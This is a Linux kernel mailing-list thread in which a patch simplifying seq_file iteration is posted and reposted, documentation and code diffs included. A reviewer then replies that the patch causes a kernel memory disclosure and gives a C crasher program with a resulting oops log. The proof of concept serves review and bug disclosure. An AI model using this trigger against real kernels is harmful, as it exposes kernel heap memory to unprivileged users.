VFS: simplify seq_file iteration code and interface
Subsystems (2)
PATCH 1/1 VFS: simplify seq_file iteration code and interface
The documentation for seq_file suggests that it is necessary to be able to move the iterator to a given offset, however that is not the case. If the iterator is stored in the private data and is stable from one read() syscall to the next, it is only necessary to support first/next interactions. Implementing this in a client is a little clumsy.
- if ->start() is given a pos of zero, it should go to start of sequence.
- if ->start() is given the name pos that was given to the most recent next() or start(), it should restore the iterator to state just before that last call
- if ->start is given another number, it should set the iterator one beyond the start just before the last ->start or ->next call.
Also, the documentation says that the implementation can interpret the pos however it likes (other than zero meaning start), but seq_file increments the pos sometimes which does impose on the implementation.
This patch simplifies the interface for first/next iteration and simplifies the code, while maintaining complete backward compatability. Now:
- if ->start() is given a pos of zero, it should return an iterator placed at the start of the sequence
- if ->start() is given a non-zero pos, it should return the iterator in the same state it was after the last ->start or ->next.
This is particularly useful for interators which walk the multiple chains in a hash table, e.g. using rhashtable_walk*. See fs/gfs2/glock.c and drivers/staging/lustre/lustre/llite/vvp_dev.c
A large part of achieving this is to *always* call ->next after ->show has successfully stored all of an entry in the buffer. Never just increment the index instead.
Also:
- always pass &m->index to ->start() and ->next(), never a temp variable
- don't clear ->from when ->count is zero, as ->from is dead when
->count is zero.
Some ->next functions do not increment *pos when they return NULL. To maintain compatability with this, we still need to increment m->index in one place, if ->next didn't increment it. Note that such ->next functions are buggy and should be fixed. A simple demonstration is
dd if=/proc/swaps bs=1000 skip=1
Choose any block size larger than the size of /proc/swaps. This will always show the whole last line of /proc/swaps.
This patch doesn't work around buggy next() functions for this case.
--- Documentation/filesystems/seq_file.txt | 63 ++++++++++++++++++++++------------ fs/seq_file.c | 53 +++++++++++----------------- 2 files changed, 62 insertions(+), 54 deletions(-)
Documentation/filesystems/seq_file.txt +42 -21
@@ -66,23 +66,39 @@ kernel 3.10. Current versions require the following update The iterator interface -Modules implementing a virtual file with seq_file must implement a simple -iterator object that allows stepping through the data of interest. -Iterators must be able to move to a specific position - like the file they -implement - but the interpretation of that position is up to the iterator -itself. A seq_file implementation that is formatting firewall rules, for -example, could interpret position N as the Nth rule in the chain. -Positioning can thus be done in whatever way makes the most sense for the -generator of the data, which need not be aware of how a position translates -to an offset in the virtual file. The one obvious exception is that a -position of zero should indicate the beginning of the file. +Modules implementing a virtual file with seq_file must implement an +iterator object that allows stepping through the data of interest +during a "session" (roughly one read() system call). If the iterator +is able to move to a specific position - like the file they implement, +though with freedom to map the position number to a sequence location +in whatever way is convenient - the iterator need only exist +transiently during a session. If the iterator cannot easily find a +numerical position but works well with a first/next interface, the +iterator can be stored in the private data area and continue from one +session to the next. + +A seq_file implementation that is formatting firewall rules from a +table, for example, could provide a simple iterator that interprets +position N as the Nth rule in the chain. A seq_file implementation +that presents the content of a, potentially volatile, linked list +might record a pointer into that list, providing that can be done +without risk of the current location being removed. + +Positioning can thus be done in whatever way makes the most sense for +the generator of the data, which need not be aware of how a position +translates to an offset in the virtual file. The one obvious exception +is that a position of zero should indicate the beginning of the file. The /proc/sequence iterator just uses the count of the next number it will output as its position. -Four functions must be implemented to make the iterator work. The first, -called start() takes a position as an argument and returns an iterator -which will start reading at that position. For our simple sequence example, +Four functions must be implemented to make the iterator work. The +first, called start(), starts a session and takes a position as an +argument, returning an iterator which will start reading at that +position. The pos passed to start() will always be either zero, or +the most recent pos used in the previous session. + +For our simple sequence example, the start() function looks like: static void *ct_seq_start(struct seq_file *s, loff_t *pos)
@@ -101,11 +117,12 @@ implementations; in most cases the start() function should check for a "past end of file" condition and return NULL if need be. For more complicated applications, the private field of the seq_file -structure can be used. There is also a special value which can be returned -by the start() function called SEQ_START_TOKEN; it can be used if you wish -to instruct your show() function (described below) to print a header at the -top of the output. SEQ_START_TOKEN should only be used if the offset is -zero, however. +structure can be used to hold state from session to session. There is +also a special value which can be returned by the start() function +called SEQ_START_TOKEN; it can be used if you wish to instruct your +show() function (described below) to print a header at the top of the +output. SEQ_START_TOKEN should only be used if the offset is zero, +however. The next function to implement is called, amazingly, next(); its job is to move the iterator forward to the next position in the sequence. The
@@ -121,9 +138,13 @@ complete. Here's the example version: return spos; } -The stop() function is called when iteration is complete; its job, of -course, is to clean up. If dynamic memory is allocated for the iterator, -stop() is the place to free it. +The stop() function closes a session; its job, of course, is to clean +up. If dynamic memory is allocated for the iterator, stop() is the +place to free it; if a lock was taken by start(), stop() must release +that lock. The value that *pos was set to by the last next() call +before stop() is remembered, and used for the first start() call of +the next session unless lseek() has been called on the file; in that +case next start() will be asked to start at position zero. static void ct_seq_stop(struct seq_file *s, void *v) {
fs/seq_file.c +20 -33
134 lines not on this page · raw message
Signature · 1 line
2.14.0.rc0.dirty
PATCH RESEND 1/1 VFS: simplify seq_file iteration code and interface
Just resending after 2 weeks silence, in case it fell through a crack. Thanks,
NeilBrown
("git am -c" understands this line)
------------------8<-------------
The documentation for seq_file suggests that it is necessary to be able to move the iterator to a given offset, however that is not the case. If the iterator is stored in the private data and is stable from one read() syscall to the next, it is only necessary to support first/next interactions. Implementing this in a client is a little clumsy.
- if ->start() is given a pos of zero, it should go to start of sequence.
- if ->start() is given the name pos that was given to the most recent next() or start(), it should restore the iterator to state just before that last call
- if ->start is given another number, it should set the iterator one beyond the start just before the last ->start or ->next call.
Also, the documentation says that the implementation can interpret the pos however it likes (other than zero meaning start), but seq_file increments the pos sometimes which does impose on the implementation.
This patch simplifies the interface for first/next iteration and simplifies the code, while maintaining complete backward compatability. Now:
- if ->start() is given a pos of zero, it should return an iterator placed at the start of the sequence
- if ->start() is given a non-zero pos, it should return the iterator in the same state it was after the last ->start or ->next.
This is particularly useful for interators which walk the multiple chains in a hash table, e.g. using rhashtable_walk*. See fs/gfs2/glock.c and drivers/staging/lustre/lustre/llite/vvp_dev.c
A large part of achieving this is to *always* call ->next after ->show has successfully stored all of an entry in the buffer. Never just increment the index instead.
Also:
- always pass &m->index to ->start() and ->next(), never a temp variable
- don't clear ->from when ->count is zero, as ->from is dead when
->count is zero.
Some ->next functions do not increment *pos when they return NULL. To maintain compatability with this, we still need to increment m->index in one place, if ->next didn't increment it. Note that such ->next functions are buggy and should be fixed. A simple demonstration is
dd if=/proc/swaps bs=1000 skip=1
Choose any block size larger than the size of /proc/swaps. This will always show the whole last line of /proc/swaps.
This patch doesn't work around buggy next() functions for this case.
--- Documentation/filesystems/seq_file.txt | 63 ++++++++++++++++++++++------------ fs/seq_file.c | 53 +++++++++++----------------- 2 files changed, 62 insertions(+), 54 deletions(-)
Documentation/filesystems/seq_file.txt +42 -21
@@ -66,23 +66,39 @@ kernel 3.10. Current versions require the following update The iterator interface -Modules implementing a virtual file with seq_file must implement a simple -iterator object that allows stepping through the data of interest. -Iterators must be able to move to a specific position - like the file they -implement - but the interpretation of that position is up to the iterator -itself. A seq_file implementation that is formatting firewall rules, for -example, could interpret position N as the Nth rule in the chain. -Positioning can thus be done in whatever way makes the most sense for the -generator of the data, which need not be aware of how a position translates -to an offset in the virtual file. The one obvious exception is that a -position of zero should indicate the beginning of the file. +Modules implementing a virtual file with seq_file must implement an +iterator object that allows stepping through the data of interest +during a "session" (roughly one read() system call). If the iterator +is able to move to a specific position - like the file they implement, +though with freedom to map the position number to a sequence location +in whatever way is convenient - the iterator need only exist +transiently during a session. If the iterator cannot easily find a +numerical position but works well with a first/next interface, the +iterator can be stored in the private data area and continue from one +session to the next. + +A seq_file implementation that is formatting firewall rules from a +table, for example, could provide a simple iterator that interprets +position N as the Nth rule in the chain. A seq_file implementation +that presents the content of a, potentially volatile, linked list +might record a pointer into that list, providing that can be done +without risk of the current location being removed. + +Positioning can thus be done in whatever way makes the most sense for +the generator of the data, which need not be aware of how a position +translates to an offset in the virtual file. The one obvious exception +is that a position of zero should indicate the beginning of the file. The /proc/sequence iterator just uses the count of the next number it will output as its position. -Four functions must be implemented to make the iterator work. The first, -called start() takes a position as an argument and returns an iterator -which will start reading at that position. For our simple sequence example, +Four functions must be implemented to make the iterator work. The +first, called start(), starts a session and takes a position as an +argument, returning an iterator which will start reading at that +position. The pos passed to start() will always be either zero, or +the most recent pos used in the previous session. + +For our simple sequence example, the start() function looks like: static void *ct_seq_start(struct seq_file *s, loff_t *pos)
@@ -101,11 +117,12 @@ implementations; in most cases the start() function should check for a "past end of file" condition and return NULL if need be. For more complicated applications, the private field of the seq_file -structure can be used. There is also a special value which can be returned -by the start() function called SEQ_START_TOKEN; it can be used if you wish -to instruct your show() function (described below) to print a header at the -top of the output. SEQ_START_TOKEN should only be used if the offset is -zero, however. +structure can be used to hold state from session to session. There is +also a special value which can be returned by the start() function +called SEQ_START_TOKEN; it can be used if you wish to instruct your +show() function (described below) to print a header at the top of the +output. SEQ_START_TOKEN should only be used if the offset is zero, +however. The next function to implement is called, amazingly, next(); its job is to move the iterator forward to the next position in the sequence. The
@@ -121,9 +138,13 @@ complete. Here's the example version: return spos; } -The stop() function is called when iteration is complete; its job, of -course, is to clean up. If dynamic memory is allocated for the iterator, -stop() is the place to free it. +The stop() function closes a session; its job, of course, is to clean +up. If dynamic memory is allocated for the iterator, stop() is the +place to free it; if a lock was taken by start(), stop() must release +that lock. The value that *pos was set to by the last next() call +before stop() is remembered, and used for the first start() call of +the next session unless lseek() has been called on the file; in that +case next start() will be asked to start at position zero. static void ct_seq_stop(struct seq_file *s, void *v) {
fs/seq_file.c +20 -33
134 lines not on this page · raw message
Signature · 1 line
2.14.0.rc0.dirty
Quoted 4 lines · On Mon, 30 Apr 2018 11:50:04 +1000 NeilBrown <[email protected]> wrote:
This patch simplifies the interface for first/next iteration and simplifies the code, while maintaining complete backward compatability. Now:
Quoted 8 lines
- if ->start() is given a pos of zero, it should return an iterator placed at the start of the sequence
- if ->start() is given a non-zero pos, it should return the iterator in the same state it was after the last ->start or ->next.This is particularly useful for interators which walk the multiple chains in a hash table, e.g. using rhashtable_walk*. See
fs/gfs2/glock.canddrivers/staging/lustre/lustre/llite/vvp_dev.c
For the docs part:
jon
PATCH 1/1 VFS: simplify seq_file iteration code and interface
In reply to NeilBrownThe documentation for seq_file suggests that it is necessary to be able to move the iterator to a given offset, however that is not the case. If the iterator is stored in the private data and is stable from one read() syscall to the next, it is only necessary to support first/next interactions. Implementing this in a client is a little clumsy.
- if ->start() is given a pos of zero, it should go to start of sequence.
- if ->start() is given the same pos that was given to the most recent next() or start(), it should restore the iterator to state just before that last call
- if ->start is given another number, it should set the iterator one beyond the start just before the last ->start or ->next call.
Also, the documentation says that the implementation can interpret the pos however it likes (other than zero meaning start), but seq_file increments the pos sometimes which does impose on the implementation.
This patch simplifies the interface for first/next iteration and simplifies the code, while maintaining complete backward compatability. Now:
- if ->start() is given a pos of zero, it should return an iterator placed at the start of the sequence
- if ->start() is given a non-zero pos, it should return the iterator in the same state it was after the last ->start or ->next.
This is particularly useful for interators which walk the multiple chains in a hash table, e.g. using rhashtable_walk*. See fs/gfs2/glock.c and drivers/staging/lustre/lustre/llite/vvp_dev.c
A large part of achieving this is to *always* call ->next after ->show has successfully stored all of an entry in the buffer. Never just increment the index instead.
Also:
- always pass &m->index to ->start() and ->next(), never a temp variable
- don't clear ->from when ->count is zero, as ->from is dead when
->count is zero.
Some ->next functions do not increment *pos when they return NULL. To maintain compatability with this, we still need to increment m->index in one place, if ->next didn't increment it. Note that such ->next functions are buggy and should be fixed. A simple demonstration is
dd if=/proc/swaps bs=1000 skip=1
Choose any block size larger than the size of /proc/swaps. This will always show the whole last line of /proc/swaps.
This patch doesn't work around buggy next() functions for this case.
---
Hi Andrew,
maybe I've been sending this to the wrong address. You seem to have processed a few seq_file patches lately - maybe you could review/take this one too?
Thanks,
NeilBrown
Documentation/filesystems/seq_file.txt | 63 ++++++++++++++++++++++------------ fs/seq_file.c | 53 +++++++++++----------------- 2 files changed, 62 insertions(+), 54 deletions(-)
Documentation/filesystems/seq_file.txt +42 -21
@@ -66,23 +66,39 @@ kernel 3.10. Current versions require the following update The iterator interface -Modules implementing a virtual file with seq_file must implement a simple -iterator object that allows stepping through the data of interest. -Iterators must be able to move to a specific position - like the file they -implement - but the interpretation of that position is up to the iterator -itself. A seq_file implementation that is formatting firewall rules, for -example, could interpret position N as the Nth rule in the chain. -Positioning can thus be done in whatever way makes the most sense for the -generator of the data, which need not be aware of how a position translates -to an offset in the virtual file. The one obvious exception is that a -position of zero should indicate the beginning of the file. +Modules implementing a virtual file with seq_file must implement an +iterator object that allows stepping through the data of interest +during a "session" (roughly one read() system call). If the iterator +is able to move to a specific position - like the file they implement, +though with freedom to map the position number to a sequence location +in whatever way is convenient - the iterator need only exist +transiently during a session. If the iterator cannot easily find a +numerical position but works well with a first/next interface, the +iterator can be stored in the private data area and continue from one +session to the next. + +A seq_file implementation that is formatting firewall rules from a +table, for example, could provide a simple iterator that interprets +position N as the Nth rule in the chain. A seq_file implementation +that presents the content of a, potentially volatile, linked list +might record a pointer into that list, providing that can be done +without risk of the current location being removed. + +Positioning can thus be done in whatever way makes the most sense for +the generator of the data, which need not be aware of how a position +translates to an offset in the virtual file. The one obvious exception +is that a position of zero should indicate the beginning of the file. The /proc/sequence iterator just uses the count of the next number it will output as its position. -Four functions must be implemented to make the iterator work. The first, -called start() takes a position as an argument and returns an iterator -which will start reading at that position. For our simple sequence example, +Four functions must be implemented to make the iterator work. The +first, called start(), starts a session and takes a position as an +argument, returning an iterator which will start reading at that +position. The pos passed to start() will always be either zero, or +the most recent pos used in the previous session. + +For our simple sequence example, the start() function looks like: static void *ct_seq_start(struct seq_file *s, loff_t *pos)
@@ -101,11 +117,12 @@ implementations; in most cases the start() function should check for a "past end of file" condition and return NULL if need be. For more complicated applications, the private field of the seq_file -structure can be used. There is also a special value which can be returned -by the start() function called SEQ_START_TOKEN; it can be used if you wish -to instruct your show() function (described below) to print a header at the -top of the output. SEQ_START_TOKEN should only be used if the offset is -zero, however. +structure can be used to hold state from session to session. There is +also a special value which can be returned by the start() function +called SEQ_START_TOKEN; it can be used if you wish to instruct your +show() function (described below) to print a header at the top of the +output. SEQ_START_TOKEN should only be used if the offset is zero, +however. The next function to implement is called, amazingly, next(); its job is to move the iterator forward to the next position in the sequence. The
@@ -121,9 +138,13 @@ complete. Here's the example version: return spos; } -The stop() function is called when iteration is complete; its job, of -course, is to clean up. If dynamic memory is allocated for the iterator, -stop() is the place to free it. +The stop() function closes a session; its job, of course, is to clean +up. If dynamic memory is allocated for the iterator, stop() is the +place to free it; if a lock was taken by start(), stop() must release +that lock. The value that *pos was set to by the last next() call +before stop() is remembered, and used for the first start() call of +the next session unless lseek() has been called on the file; in that +case next start() will be asked to start at position zero. static void ct_seq_stop(struct seq_file *s, void *v) {
fs/seq_file.c +20 -33
134 lines not on this page · raw message
Signature · 1 line
2.14.0.rc0.dirty
PATCH 1/1 VFS: simplify seq_file iteration code and interface
The documentation for seq_file suggests that it is necessary to be able to move the iterator to a given offset, however that is not the case. If the iterator is stored in the private data and is stable from one read() syscall to the next, it is only necessary to support first/next interactions. Implementing this in a client is a little clumsy.
- if ->start() is given a pos of zero, it should go to start of sequence.
- if ->start() is given the name pos that was given to the most recent next() or start(), it should restore the iterator to state just before that last call
- if ->start is given another number, it should set the iterator one beyond the start just before the last ->start or ->next call.
Also, the documentation says that the implementation can interpret the pos however it likes (other than zero meaning start), but seq_file increments the pos sometimes which does impose on the implementation.
This patch simplifies the interface for first/next iteration and simplifies the code, while maintaining complete backward compatability. Now:
- if ->start() is given a pos of zero, it should return an iterator placed at the start of the sequence
- if ->start() is given a non-zero pos, it should return the iterator in the same state it was after the last ->start or ->next.
This is particularly useful for interators which walk the multiple chains in a hash table, e.g. using rhashtable_walk*. See fs/gfs2/glock.c and drivers/staging/lustre/lustre/llite/vvp_dev.c
A large part of achieving this is to *always* call ->next after ->show has successfully stored all of an entry in the buffer. Never just increment the index instead.
Also:
- always pass &m->index to ->start() and ->next(), never a temp variable
- don't clear ->from when ->count is zero, as ->from is dead when
->count is zero.
Some ->next functions do not increment *pos when they return NULL. To maintain compatability with this, we still need to increment m->index in one place, if ->next didn't increment it. Note that such ->next functions are buggy and should be fixed. A simple demonstration is
dd if=/proc/swaps bs=1000 skip=1
Choose any block size larger than the size of /proc/swaps. This will always show the whole last line of /proc/swaps.
This patch doesn't work around buggy next() functions for this case.
---
Still hoping someone might apply this, or at least review it, or maybe just tell me how insane it is - anything but silence :-(
NeilBrown
Documentation/filesystems/seq_file.txt | 63 ++++++++++++++++++++++------------ fs/seq_file.c | 53 +++++++++++----------------- 2 files changed, 62 insertions(+), 54 deletions(-)
Documentation/filesystems/seq_file.txt +42 -21
@@ -66,23 +66,39 @@ kernel 3.10. Current versions require the following update The iterator interface -Modules implementing a virtual file with seq_file must implement a simple -iterator object that allows stepping through the data of interest. -Iterators must be able to move to a specific position - like the file they -implement - but the interpretation of that position is up to the iterator -itself. A seq_file implementation that is formatting firewall rules, for -example, could interpret position N as the Nth rule in the chain. -Positioning can thus be done in whatever way makes the most sense for the -generator of the data, which need not be aware of how a position translates -to an offset in the virtual file. The one obvious exception is that a -position of zero should indicate the beginning of the file. +Modules implementing a virtual file with seq_file must implement an +iterator object that allows stepping through the data of interest +during a "session" (roughly one read() system call). If the iterator +is able to move to a specific position - like the file they implement, +though with freedom to map the position number to a sequence location +in whatever way is convenient - the iterator need only exist +transiently during a session. If the iterator cannot easily find a +numerical position but works well with a first/next interface, the +iterator can be stored in the private data area and continue from one +session to the next. + +A seq_file implementation that is formatting firewall rules from a +table, for example, could provide a simple iterator that interprets +position N as the Nth rule in the chain. A seq_file implementation +that presents the content of a, potentially volatile, linked list +might record a pointer into that list, providing that can be done +without risk of the current location being removed. + +Positioning can thus be done in whatever way makes the most sense for +the generator of the data, which need not be aware of how a position +translates to an offset in the virtual file. The one obvious exception +is that a position of zero should indicate the beginning of the file. The /proc/sequence iterator just uses the count of the next number it will output as its position. -Four functions must be implemented to make the iterator work. The first, -called start() takes a position as an argument and returns an iterator -which will start reading at that position. For our simple sequence example, +Four functions must be implemented to make the iterator work. The +first, called start(), starts a session and takes a position as an +argument, returning an iterator which will start reading at that +position. The pos passed to start() will always be either zero, or +the most recent pos used in the previous session. + +For our simple sequence example, the start() function looks like: static void *ct_seq_start(struct seq_file *s, loff_t *pos)
@@ -101,11 +117,12 @@ implementations; in most cases the start() function should check for a "past end of file" condition and return NULL if need be. For more complicated applications, the private field of the seq_file -structure can be used. There is also a special value which can be returned -by the start() function called SEQ_START_TOKEN; it can be used if you wish -to instruct your show() function (described below) to print a header at the -top of the output. SEQ_START_TOKEN should only be used if the offset is -zero, however. +structure can be used to hold state from session to session. There is +also a special value which can be returned by the start() function +called SEQ_START_TOKEN; it can be used if you wish to instruct your +show() function (described below) to print a header at the top of the +output. SEQ_START_TOKEN should only be used if the offset is zero, +however. The next function to implement is called, amazingly, next(); its job is to move the iterator forward to the next position in the sequence. The
@@ -121,9 +138,13 @@ complete. Here's the example version: return spos; } -The stop() function is called when iteration is complete; its job, of -course, is to clean up. If dynamic memory is allocated for the iterator, -stop() is the place to free it. +The stop() function closes a session; its job, of course, is to clean +up. If dynamic memory is allocated for the iterator, stop() is the +place to free it; if a lock was taken by start(), stop() must release +that lock. The value that *pos was set to by the last next() call +before stop() is remembered, and used for the first start() call of +the next session unless lseek() has been called on the file; in that +case next start() will be asked to start at position zero. static void ct_seq_stop(struct seq_file *s, void *v) {
fs/seq_file.c +20 -33
134 lines not on this page · raw message
Signature · 1 line
2.14.0.rc0.dirty
Quoted 63 lines · NeilBrown
The documentation for
seq_filesuggests that it is necessary to be able to move the iterator to a given offset, however that is not the case. If the iterator is stored in the private data and is stable from oneread()syscall to the next, it is only necessary to support first/next interactions. Implementing this in a client is a little clumsy.
- if ->start() is given a pos of zero, it should go to start of sequence.
- if ->start() is given the name pos that was given to the most recentnext()orstart(), it should restore the iterator to state just before that last call
- if ->start is given another number, it should set the iterator one beyond the start just before the last ->start or ->next call.Also, the documentation says that the implementation can interpret the pos however it likes (other than zero meaning start), but
seq_fileincrements the pos sometimes which does impose on the implementation.This patch simplifies the interface for first/next iteration and simplifies the code, while maintaining complete backward compatability. Now:
- if ->start() is given a pos of zero, it should return an iterator placed at the start of the sequence
- if ->start() is given a non-zero pos, it should return the iterator in the same state it was after the last ->start or ->next.This is particularly useful for interators which walk the multiple chains in a hash table, e.g. using rhashtable_walk*. See
fs/gfs2/glock.canddrivers/staging/lustre/lustre/llite/vvp_dev.cA large part of achieving this is to *always* call ->next after ->show has successfully stored all of an entry in the buffer. Never just increment the index instead.
Also:
- always pass&m->indexto ->start() and ->next(), never a temp variable
- don't clear ->from when ->count is zero, as ->from is dead when->count is zero.Some ->next functions do not increment *pos when they return NULL. To maintain compatability with this, we still need to increment
m->indexin one place, if ->next didn't increment it. Note that such ->next functions are buggy and should be fixed. A simple demonstration is
dd if=/proc/swaps bs=1000 skip=1
Choose any block size larger than the size of/proc/swaps. This will always show the whole last line of/proc/swaps.This patch doesn't work around buggy
next()functions for this case.Signed-off-by NeilBrown <[email protected]>---
Still hoping someone might apply this, or at least review it, or maybe just tell me how insane it is - anything but silence :-(
NeilBrown
[...]
Quoted 4 lines
fs/seq_file.c +0
-0
[...]
Quoted 77 lines
fs/seq_file.c +12
-15@@ -160,7 +154,6 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) {struct seq_file *m = file->private_data;size_t copied =0 ; -loff_t pos;size_t n;void *p;int err =0 ;@@ -223,16 +216,11 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) size -= n; buf += n; copied += n; -if (!m->count) { - m->from =0 ; - m->index++; - }if (!size) goto Done; }/* we need at least one record in buffer */ - pos = m->index; - p = m->op->start (m, &pos); + p = m->op->start (m, &m->index);while (1 ) { err =PTR_ERR (p);if (!p ||IS_ERR (p))@@ -243,8 +231,7 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)if (unlikely (err)) m->count =0 ;if (unlikely (!m->count)) { - p = m->op->next (m, p, &pos); - m->index = pos; + p = m->op->next (m, p, &m->index);continue ; }if (m->count < m->size)@@ -256,29 +243,33 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)if (!m->buf) goto Enomem; m->version =0 ; - pos = m->index; - p = m->op->start (m, &pos); + p = m->op->start (m, &m->index); } m->op->stop (m, p); m->count =0 ; goto Done; Fill:/* they want more? let's try to get some more */ -while (m->count < size) { +while (1 ) {size_t offs = m->count; -loff_t next = pos; - p = m->op->next (m, p, &next); +loff_t pos = m->index; + + p = m->op->next (m, p, &m->index); +if (pos == m->index) +/* Buggy ->next function */ + m->index++;if (!p ||IS_ERR (p)) { err =PTR_ERR (p);break ; } +if (m->count >= size) +break ; err = m->op->show (m, p);if (seq_has_overflowed (m) || err) { m->count = offs;if (likely (err <=0 ))break ; } - pos = next; } m->op->stop (m, p); n =min (m->count, size);
fs/seq_file.c ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) · line 281
Quoted 9 lines
fs/seq_file.c +1
-5@@ -287,11 +278,7 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) goto Efault; copied += n; m->count -= n; -if (m->count) - m->from = n; -else - pos++; - m->index = pos; + m->from = n;
This patch introduces a kernel memory disclosure bug when something like the following sequence of events happens (starting from a freshly opened seq file):
1. read(seq_fd, buf, 2000): sets m->from=2000, m->count=100
2. create a buffer broken_buf which consists of 1000 bytes writable memory followed by unmapped memory
3. read(seq_fd, broken_buf, 3100):
- flushes buffered data to userspace, result: m->from=2100, m->count=0
- accumulates new data, result: m->from=2100, m->count=3050
- tries to copy new data to userspace, but fails ("goto Efault")
4. read(seq_fd, buf, 4096): does copy_to_user(buf, m->buf + m->from, n)
I wrote the following crasher to test this:
==================
#include <sys/mman.h>
#include <err.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
// dummy mappings: make sure /proc/self/smaps has lots to say
for (int i=0; i<50; i++) {
void *mapping = mmap(NULL, 0x2000, PROT_READ,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
if (mprotect(mapping, 0x1000, PROT_NONE))
err(1, "mprotect");}
int fd = open("/proc/self/smaps", O_RDONLY);
if (fd == -1)
err(1, "open");
char buf[0x1000];
// set m->from = 2000, m->count ~= 100
int first_res = read(fd, buf, 2000);
if (first_res != 2000)
errx(1, "first res"); // broken_buf: 1000 bytes writable memory followed by unmapped memory char *broken_buf_base = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (broken_buf_base == MAP_FAILED)
err(1, "mmap");
if (mprotect(broken_buf_base+0x1000, 0x1000, PROT_NONE))
err(1, "mprotect"); char *broken_buf = broken_buf_base+0x1000-1000;
// set m->from = 2000, m->count ~= 3050
int second_res = read(fd, broken_buf, 3100);
printf("second read: %d\n", second_res);
if (second_res <= 0 || second_res > 1000)
errx(1, "second read didn't partly succeed as expected"); // trigger OOB read
read(fd, buf, 0x1000);
}
==================
Running this against a linux-next build with CONFIG_HARDENED_USERCOPY=y, I reliably get kernel oopses that look as follows:
==================
[ 240.215442] usercopy: Kernel memory exposure attempt detected from SLAB object 'kmalloc-4096' (offset 2663, size 2613)! [ 240.215475] ------------[ cut here ]------------ [ 240.215478] kernel BUG at mm/usercopy.c:100! [ 240.215491] invalid opcode: 0000 [#1] SMP KASAN PTI [ 240.215500] CPU: 1 PID: 968 Comm: seq_read_trigge Not tainted 4.18.0-rc3-next-20180706 #37 [ 240.215506] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 240.215540] RIP: 0010:usercopy_abort+0x69/0x80 [ 240.215544] Code: 44 d0 53 48 c7 c0 60 98 ae 92 51 48 c7 c6 e0 97 ae 92 41 53 48 89 f9 48 0f 45 f0 4c 89 d2 48 c7 c7 80 99 ae 92 e8 e0 2d dc ff <0f> 0b 49 c7 c1 20 97 ae 92 4d 89 cb 4d 89 c8 eb a5 66 0f 1f 44 00 [ 240.215615] RSP: 0018:ffff8801d0a47bf8 EFLAGS: 00010286 [ 240.215621] RAX: 000000000000006b RBX: 0000000000000a35 RCX: ffffffff911c883e [ 240.215627] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffff8801ec3261cc [ 240.215632] RBP: ffffea00079e2800 R08: ffffed003d864f29 R09: ffffed003d864f29 [ 240.215637] R10: ffffffff92ae9820 R11: ffffed003d864f28 R12: 0000000000000a35 [ 240.215643] R13: 0000000000000001 R14: ffff8801e78a1ddc R15: ffffea00079e2800 [ 240.215649] FS: 00007f820d397700(0000) GS:ffff8801ec300000(0000) knlGS:0000000000000000 [ 240.215655] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 240.215660] CR2: 00007f820cf4f4c4 CR3: 00000001e7868003 CR4: 00000000001606e0 [ 240.215668] Call Trace: [ 240.215680] __check_heap_object+0xb3/0xc0 [ 240.215691] __check_object_size+0xdc/0x240 [ 240.215702] ? check_stack_object+0x21/0x60 [ 240.215722] seq_read+0x3d8/0x6a0 [ 240.215740] ? ldsem_up_read+0x13/0x40 [ 240.215750] __vfs_read+0xc4/0x370 [ 240.215758] ? __x64_sys_copy_file_range+0x2d0/0x2d0 [ 240.215768] ? vma_compute_subtree_gap+0x95/0xc0 [ 240.215775] ? vma_gap_callbacks_rotate+0x37/0x50 [ 240.215785] ? fsnotify+0x895/0x8e0 [ 240.215794] ? fsnotify+0x895/0x8e0 [ 240.215806] ? __fsnotify_inode_delete+0x20/0x20 [ 240.215816] vfs_read+0xa5/0x190 [ 240.215823] ksys_read+0xa1/0x120 [ 240.215830] ? kernel_write+0xa0/0xa0 [ 240.215847] ? mm_fault_error+0x1b0/0x1b0 [ 240.215858] do_syscall_64+0x73/0x160 [ 240.215874] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 240.215881] RIP: 0033:0x7f820cecf700 [ 240.215885] Code: b6 fe ff ff 48 8d 3d 87 be 08 00 48 83 ec 08 e8 06 db 01 00 66 0f 1f 44 00 00 83 3d 49 30 2c 00 00 75 10 b8 00 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 de 9b 01 00 48 89 04 24 [ 240.215955] RSP: 002b:00007ffffbcb56a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 [ 240.215962] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f820cecf700 [ 240.215967] RDX: 0000000000001000 RSI: 00007ffffbcb56b0 RDI: 0000000000000003 [ 240.215972] RBP: 00007ffffbcb66e0 R08: 0000000000000001 R09: 0000000000000011 [ 240.215977] R10: 0000000000000064 R11: 0000000000000246 R12: 0000558430e72730 [ 240.215982] R13: 00007ffffbcb67c0 R14: 0000000000000000 R15: 0000000000000000 [ 240.215988] Modules linked in: [ 240.215996] ---[ end trace a76025513bde017a ]--- [ 240.216004] RIP: 0010:usercopy_abort+0x69/0x80 [ 240.216007] Code: 44 d0 53 48 c7 c0 60 98 ae 92 51 48 c7 c6 e0 97 ae 92 41 53 48 89 f9 48 0f 45 f0 4c 89 d2 48 c7 c7 80 99 ae 92 e8 e0 2d dc ff <0f> 0b 49 c7 c1 20 97 ae 92 4d 89 cb 4d 89 c8 eb a5 66 0f 1f 44 00 [ 240.216076] RSP: 0018:ffff8801d0a47bf8 EFLAGS: 00010286 [ 240.216082] RAX: 000000000000006b RBX: 0000000000000a35 RCX: ffffffff911c883e [ 240.216087] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffff8801ec3261cc [ 240.216092] RBP: ffffea00079e2800 R08: ffffed003d864f29 R09: ffffed003d864f29 [ 